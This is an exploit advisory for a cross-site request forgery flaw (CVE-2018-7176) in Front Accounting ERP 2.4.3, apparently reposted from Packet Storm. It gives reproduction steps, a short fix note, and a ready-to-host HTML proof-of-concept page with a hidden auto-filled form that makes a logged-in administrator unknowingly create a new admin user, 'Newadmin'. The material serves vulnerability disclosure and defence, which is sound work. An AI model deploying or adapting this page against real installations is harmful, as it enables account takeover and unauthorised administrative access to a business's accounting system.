Front Accounting ERP 2.4.3 Cross Site Request Forgery

2018-02-1700:00:00

Samrat Das

packetstormsecurity.com

EPSS

0.001

Percentile

47.6%

JSON

`<!--  
aa# Exploit Title: Front Accounting ERP 2.4.3 - CSRF  
# Date: 16-02-2018  
# Exploit Author: Samrat Das  
# Contact: http://twitter.com/Samrat_Das93  
# Website: https://securitywarrior9.blogspot.in/  
# Vendor Homepage: frontaccounting.com  
# Version: 2.4.3  
# CVE : CVE-2018-7176  
# Category: WebApp ERP  
  
1. Description  
  
The application source code is coded in a way which allows malicious  
crafted HTML page to be executed directly without any anti csrf  
countermeasures.  
  
2. Proof of Concept  
  
1. Visit the application  
2. Visit the User Permissions Page.  
3. Goto add user, and create a csrf crafted exploit for the same ,  
upon hosting it on a server and sending the link to click by victim, it  
gets exploited.  
  
Proof of Concept  
  
Steps to Reproduce:  
  
1. Create an HTML Page with the below exploit code:  
-->  
  
<html>  
<body>  
<form action="  
http://localhost/frontaccounting/admin/users.php?JsHttpRequest=0-xml"  
method="POST" enctype="text/plain">  
<input type="hidden" name="show_inactive"  
value="&user_id=Newadmin&password=Newadmin&real_name=New%20Admin&phone=&email=&role_id=8&language=C&pos=1&print_profile=&rep_popup=1&ADD_ITEM=Add%20new&_focus=user_id&_modified=0&_confirmed=&_token=Ta6aiT2xqlL2vg8u9aAvagxx&_random=757897.6552143205"  
/>  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
<!--  
2 This hosted page upon being clicked by an logged in admin user will lead  
to creation of a new malicious admin user.  
  
3 POCs and steps:  
https://securitywarrior9.blogspot.in/2018/02/cross-site-request-forgery-front.html  
  
4. Solution:  
  
Implement anti csrf token code in state changing http requests and validate  
it at server side.  
-->  
  
`

EPSS

0.001

Percentile

47.6%

JSON

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